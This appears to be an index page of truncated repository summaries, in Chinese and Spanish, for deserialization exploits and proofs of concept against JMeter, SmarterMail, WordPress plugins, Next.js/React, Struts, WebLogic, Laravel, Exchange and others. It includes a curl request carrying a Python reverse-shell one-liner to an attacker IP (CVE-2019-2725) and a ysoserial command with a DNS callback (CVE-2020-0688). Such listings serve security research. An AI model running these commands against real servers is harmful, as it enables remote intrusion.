Jmeter-CVE-2018-1297-

JMeter RMI 反序列化命令执行漏洞 CVE-2018-1297 Apache JMeter 是美国 Apache 软件基金会使用 Java 语言编写的一套开源软件，用于压力测试和性能测试。 2.x 和 3.x 版本存在反序列化漏洞，攻击者可利用该漏洞在目标服务器上执行任意命令。 搭建漏洞环境： docker compose up -d 我使用了 Kali Linux 上的 docker。 执行完成后，RMI 服务启动并监听 1099 端口。 漏洞利用： 直接使用 ysoserial 进行漏洞利用。 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar...

CVE-2019-7214

Windows 反向 Shell 漏洞利用（基于 TCP 的 PowerShell） 此 Python 脚本针对远程 Windows 计算机上运行的一个易受攻击的服务。它发送一个序列化的 .NET 负载，该负载在攻击者的计算机上启动基于 PowerShell 的反向 shell。 CVE-2019-7214 SmarterMail 系统中 .NET 反序列化的远程代码执行。 ⚙️ 配置 更新脚本的配置部分以匹配您的环境： HOSTNAME = 'hostname' 目标主机名（通过 /etc/hosts 解析） PORT = 9999 目标监听序列化输入的端口 LHOST =...

CVE-2024-50507

CVE-2024-50507 DS.DownloadList = 1.3 - 未认证的PHP对象注入 描述 WordPress的DS.DownloadList插件在所有版本（包括1.3）中，由于对不受信任的输入进行反序列化，存在PHP对象注入漏洞。这使得未认证的攻击者能够注入一个PHP对象。受影响软件中不存在已知的POP链。如果目标系统上安装了其他插件或主题而存在POP链，则可能允许攻击者删除任意文件、获取敏感数据或执行代码。 详情 类型 ：插件 插件标识 ：dsdownloadlist 受影响版本 ：1.3 CVSS评分 ：8.1 CVSS等级 ：高 CVSS向量...

CVE-2024-56058

CVE-2024-56058 VRPConnector = 2.0.1 - 未经身份验证的 PHP 对象注入 描述 VRPConnector WordPress 插件在版本 2.0.1 及之前版本中，存在通过反序列化不可信输入导致 PHP 对象注入的漏洞。这使得未经身份验证的攻击者能够注入 PHP 对象。易受攻击的软件中不存在已知的 POP 链。如果目标系统上安装了其他插件或主题并存在 POP 链，则可能允许攻击者删除任意文件、检索敏感数据或执行代码。 详情 类型 : 插件 插件标识 : vrpconnector 受影响版本 : 2.0.1 CVSS 分数 : 9.8 CVSS 评级 :...

POC-CVE-2025-55182

Aviso de NoMoreBreach: React2Shell CVE-2025-55182 Gravedad: Crítico CVSS 10.0 Tipo de vulnerabilidad: Ejecución remota de código RCE mediante deserialización Estado: Parcheado 3 dic 2025 Fuente del aviso: NoMoreBreach.com Resumen ejecutivo El equipo de investigación de NoMoreBreach destaca una...

CVE-2019-7214

CVE-2019-7214 Exploit Title: SmarterMail...

CVE-2025-27520

CVE-2025-27520 exploit para CVE-2025-27520: una vulnerabilidad de ejecución remota de código RCE causada por deserialización insegura en la última versión v1.4.2 de BentoML. Permite a cualquier usuario no autenticado ejecutar código arbitrario en el servidor. Existe un segmento de código inseguro...

CVE-2025-71389_exploit

CVE-2025-71389 — Cal.com RCE no autenticado react2shell Ejecución remota de código no autenticada en Cal.com = 5.9.8 mediante el fallo de deserialización "Flight" de los React Server Components — "react2shell " CVE-2025-55182 en React, CVE-2025-66478 en Next.js. Cal.com incluye un Next.js 15.x...

sharepoint-toolshell-micro-postmortem

事件微事后分析 — Microsoft SharePoint（本地部署）“ToolShell”活动 该工具包对2025年中期针对本地部署 Microsoft SharePoint Server的“ToolShell”零日活动进行分类；SharePoint Online不在范围内。它提供端到端的可重现的狩猎、沟通和图形，不依赖外部数据。 此仓库存在的意义：加速分析师的分类工作，提供可重现的检测和一致的管理沟通。 范围和假设 仅限本地部署Microsoft SharePoint Server。 可能的攻击流程：暴露在互联网上的SharePoint/IIS →...

cve-2018-15133

POC - CVE-2018-15133 使用： $ ./CVE-2018-15133 -h Usage: ./CVE-2018-15133 options Options: -APIKEY string API key del sitio web de Laravel, codificada en base64 -URL string URL del sitio web de Laravel a atacar -command string Comando a ejecutar en el sitio web vulnerable; si no se especifica, se...

CVE-2018-1297

CVE-2018-1297 CVE-2018-1297 的 EXP 附注：你需要自行下载 ysoserial!!! https://github.com/Al1ex/ysoserial-0.0.6-SNAPSHOT-all/releases...

CVE-2017-9805

CVE-2017-9805：Apache Struts 2 S2-052 RCE 分析 该仓库包含针对 Apache Struts 2 S2-052 中 XStream 反序列化 漏洞的技术细节和概念验证 PoC。 📌 漏洞信息 CVE 编号： CVE-2017-9805 漏洞类型： 远程代码执行 RCE 风险等级： 高危 9.8/10 案例分析： 哈佛大学 - OTD http://otd.harvard.edu/contact-us/ 🔍 技术概述 此漏洞源于 Apache Struts REST 插件在处理 XML 数据时不安全地使用了 XStream 库。攻击者可通过发送特制 X...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 针对 CVE-2019-2725 的简易利用工具。 示例代码： curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import socket,subprocess,os;s=socket.socketsocket.AFINET,socket.SOCKSTREAM;s.connect"MYIP",MYPORT;os.dup2s.fileno,0;...

CVE-2020-26258

描述 XStream 是一个 Java 库，用于将对象序列化为 XML 并再次反序列化。在 1.4.15 版本之前的 XStream 中，反序列化时可能会触发服务端请求伪造（SSRF）漏洞。 该漏洞可能允许远程攻击者仅通过操纵处理的输入流，从内部资源中请求公开不可用的数据。如果你依赖 XStream 安全框架的默认黑名单，则必须至少使用 1.4.15 版本。如果运行 Java 15 或更高版本，则不存在此漏洞。遵循建议设置了 XStream 安全框架（使用白名单）的用户不会受到影响！任何依赖 XStream 默认黑名单的用户都可以立即切换为允许类型的白名单以避免该漏洞。仍然希望使用...

CVE-2024-44902-env

CVE-2024-44902 - ThinkPHP 不安全反序列化 RCE 用于 nuclei-templates 验证的脆弱环境。 漏洞详情 字段| 值 ---|--- CVE ID| CVE-2024-44902 严重性| 严重 CVSS 9.8 产品| ThinkPHP 受影响版本| 6.1.3 - 8.0.4 类型| 不安全反序列化 → RCE CWE| CWE-502 描述 ThinkPHP 6.1.3 至 8.0.4 版本存在一个不安全反序列化漏洞。当安装了 Memcached PHP 扩展时，攻击者可以通过向调用用户输入 unserialize...

givewp-cve-2026-82222-rce-lab

CVE-2026-82222 — Laboratorio de Validación de RCE Solo-Marcador para GiveWP Material de investigación de seguridad para reproducir y validar CVE-2026-82222 en un laboratorio Docker aislado. Para el PoC de RCE directo y el escaneo de URL, useCVE-2026-8222-RCE.py Veredicto Estado: probado en el...

CVE-2024-37054-PoC

Deserialización insegura en MLflow CVE-2024-37054 Descripción general Este repositorio documenta la investigación sobre CVE-2024-37054 , un problema de deserialización insegura que afecta el manejo de modelos PyFunc de MLflow. En las versiones afectadas de MLflow, cargar un modelo PyFunc no...

WeblogicScan

WeblogicScan Herramienta de detección de vulnerabilidades Weblogic con un solo clic, V1.5 Autor del software: TideRabbitMask Descargo de responsabilidad: Pia!ｏ ‵-′ノ”ノ﹏。 Esta herramienta es solo para pruebas de seguridad, no la uses con fines ilegales, sé obediente Funciones de la V 1.5: Proporcio...

CVE-2021-3129

CVE-2021-3129 Laravel Ignition RCE 利用工具 这是一个针对CVE-2021-3129的Python漏洞利用脚本，该漏洞是当Laravel安装了Ignition包时存在的远程代码执行漏洞。攻击者可以通过PHAR反序列化执行任意系统命令。 功能 使用 phpggc 自动生成PHAR载荷 接受用户输入以执行任意命令（例如 id、whoami 等） 自动化整个利用过程，包括清除日志、注入载荷、将日志转换为PHAR以及触发反序列化 先决条件 Python 3.x requests 库 系统已安装PHP 已安装 phpggc（用于生成PHAR载荷） 安装 1...

cve-2020-0688

cve-2020-0688 cve-2020-0688 使用具有电子邮件地址的用户登录，该权限无需担忧。 从页面源代码中获取 VIEWSTATEGENERATOR 获取 ASP.NETSessionId cookie 的值作为 viewstateuserkey 的值 在此下载 YSO ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net" --validationalg="SHA1"...